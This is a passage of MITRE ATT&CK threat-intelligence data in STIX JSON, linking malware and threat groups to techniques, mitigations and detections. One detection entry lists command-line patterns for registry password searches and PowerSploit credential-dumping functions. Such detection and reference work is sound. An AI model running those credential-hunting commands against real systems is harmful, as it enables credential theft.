2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has used the MPRESS packer and similar tools for obfuscation.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-13T18:57:17.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afe166b7-d849-4635-8e85-65b9d0bf11c5","type":"relationship","created":"2020-05-20T15:19:50.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-05-20T15:19:50.991Z","description":"Consider disabling Windows administrative shares.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--afe9286d-076f-49af-90f3-11ebbe82ad40","created":"2022-04-15T12:43:15.308Z","x_mitre_version":"0.1","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) can use the ARP table to find remote hosts to scan.(Citation: Fortinet Diavol July 2021) ","modified":"2022-04-15T12:43:15.308Z","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--afea3455-9565-4e5d-b431-e845ec1722d2","created":"2021-02-25T16:48:05.766Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 IronNetInjector February 2021 ","url":"https://unit42.paloaltonetworks.com/ironnetinjector/","description":"Reichel, D. (2021, February 19). IronNetInjector: Turla’s New Malware Loading Tool. Retrieved February 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Turla](https://attack.mitre.org/groups/G0010) has used IronPython scripts as part of the [IronNetInjector](https://attack.mitre.org/software/S0581) toolchain to drop payloads.(Citation: Unit 42 IronNetInjector February 2021 )","modified":"2022-05-20T17:02:59.595Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afea5bf8-f6e0-4b93-8de6-da2e0cd6f569","type":"relationship","created":"2021-06-29T15:52:55.597Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:52:55.597Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use scheduled tasks to achieve persistence.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afeb1494-e640-410c-8e81-62970e22f8a7","type":"relationship","created":"2021-01-07T20:50:42.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intrinsec Egregor Nov 2020","url":"https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1","description":"Bichet, J. (2020, November 12). Egregor – Prolock: Fraternal Twins ?. Retrieved January 6, 2021."}],"modified":"2021-03-22T22:05:59.635Z","description":"[Egregor](https://attack.mitre.org/software/S0554) can conduct Active Directory reconnaissance using tools such as Sharphound or [AdFind](https://attack.mitre.org/software/S0552).(Citation: Intrinsec Egregor Nov 2020)","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afee7475-8e61-4bed-98f6-2cee6926e1c8","type":"relationship","created":"2020-02-20T18:50:53.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/jj865668.aspx","description":"Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.","source_name":"Microsoft Disable NTLM Nov 2012"}],"modified":"2020-03-25T15:17:30.867Z","description":"Consider disabling or restricting NTLM.(Citation: Microsoft Disable NTLM Nov 2012)","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aff391e1-3b62-4906-8f44-f44c692ef1fc","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor executed commands and arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aff9bcd9-34b9-4c94-9ce0-dd4852118f91","type":"relationship","created":"2020-10-21T02:14:05.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-21T02:14:05.535Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has retrieved iPhone text messages from iTunes phone backup files.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--afffac16-cc57-4b01-8325-d88ab73454e1","type":"relationship","created":"2020-06-26T16:17:18.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-26T16:17:18.191Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has checked for the Google Updater process to ensure [Goopy](https://attack.mitre.org/software/S0477) was loaded properly.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b001d78a-afd6-47bb-bdb5-73e967e35a13","created":"2022-09-29T18:30:12.366Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T18:30:12.366Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b005a049-ecf3-4378-bff6-983b16f92482","created":"2022-02-09T14:32:47.571Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used QuickZip to archive stolen files before exfiltration.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T14:58:48.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b00793a5-09a4-4291-97cb-b3d908625085","created":"2023-08-23T22:24:50.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:39:14.072Z","description":"Monitor newly executed processes for local file systems and remote file shares for files containing insecurely stored credentials.\n\nNote: Pseudocode Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for command-line instances of searching the Windows Registry for insecurely stored credentials. This can be accomplished using the query functionality of the [Reg](https://attack.mitre.org/software/S0075) system utility, by looking for keys and values that contain strings such as “password”. In addition, adversaries may use toolkits such as [PowerSploit](https://attack.mitre.org/software/S0194) in order to dump credentials from various applications such as IIS. Accordingly, this analytic looks for invocations of reg.exe in this capacity as well as that of several PowerSploit modules with similar functionality.\n\nAnalytic 1 - Credentials in Files & Registry\n\n(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") \nCommandLine=\"*reg* query HKLM /f password /t REG_SZ /s*\" OR\nCommandLine=\"reg* query HKCU /f password /t REG_SZ /s\" OR\nCommandLine=\"*Get-UnattendedInstallFile*\" OR\nCommandLine=\"*Get-Webconfig\" OR\nCommandLine=\"*Get-ApplicationHost*\" OR\nCommandLine=\"*Get-SiteListPassword*\" OR\nCommandLine=\"*Get-CachedGPPPassword*\" OR\nCommandLine=\"*Get-RegistryAutoLogon*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0099b28-bcb8-4214-8166-d9caed1b6491","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"}],"modified":"2020-01-17T22:22:30.737Z","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.(Citation: ESET Sednit Part 1)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b00ac705-cb96-4c05-9e90-b2663387d80c","created":"2023-03-06T23:34:22.242Z","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T23:34:22.242Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can use a variety of API calls for persistence and defense evasion.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b00c9e09-d98f-40b4-bc4e-0c3e9fe873e1","created":"2019-04-12T16:59:08.040Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."},{"source_name":"US-CERT SHARPKNOT June 2018","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf","description":"US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009.(Citation: US-CERT SHARPKNOT June 2018)(Citation: Novetta Blockbuster)","modified":"2022-07-28T18:47:12.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b00d5e69-736f-47b9-befd-f5593550ad11","created":"2022-09-29T20:47:16.696Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T18:40:50.924Z","description":"During [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors executed JavaScript code via `mshta.exe`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b01341a2-dacf-4780-acf9-3325f8597409","type":"relationship","created":"2021-11-29T19:10:14.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T19:10:14.954Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can write its configuration file to Software\\Classes\\scConfig in either HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0147ed6-a725-4899-82dd-4675aeecbd72","type":"relationship","created":"2021-11-19T15:25:07.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T15:25:07.842Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can enumerate processes on a targeted system.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b01660bb-1725-42f4-9419-495b8710e930","created":"2023-03-17T14:10:39.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T15:20:20.789Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) packed malicious .db files with Themida to evade detection.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b0198291-ac44-47c5-9730-c11acfb1999d","type":"relationship","created":"2021-12-07T15:14:11.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T15:14:11.891Z","description":"(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b019c5ea-be5e-453a-9ed6-e86384c92259","type":"relationship","created":"2021-10-06T21:37:07.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-14T22:58:54.503Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) prompts the user to input credentials using a native macOS dialog box leveraging the system process /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b019ea9e-afc4-4015-b690-677a09178feb","type":"relationship","created":"2020-03-17T18:19:22.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2020-03-17T18:19:22.984Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has used macros, COM scriptlets, and VBS scripts.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017) ","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b01cdac9-edae-4952-9bba-351d6d7ef5f5","created":"2022-07-29T19:46:14.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:22:08.128Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) can delete created registry keys used for persistence as part of its cleanup procedure.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b0220134-2033-4261-9b1d-e94abd691476","created":"2019-01-30T15:38:21.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.860Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) has a command to download a file from the C2 server.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html","description":"valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.","source_name":"aptsim"}],"modified":"2020-03-30T01:47:03.788Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has used tools to compress data before exfilling it.(Citation: aptsim)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b02a8c2b-3ead-4546-9e68-d1545c5fcdd7","type":"relationship","created":"2020-01-24T15:15:13.613Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-24T21:37:25.452Z","description":"Consider disabling emond by removing the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) plist 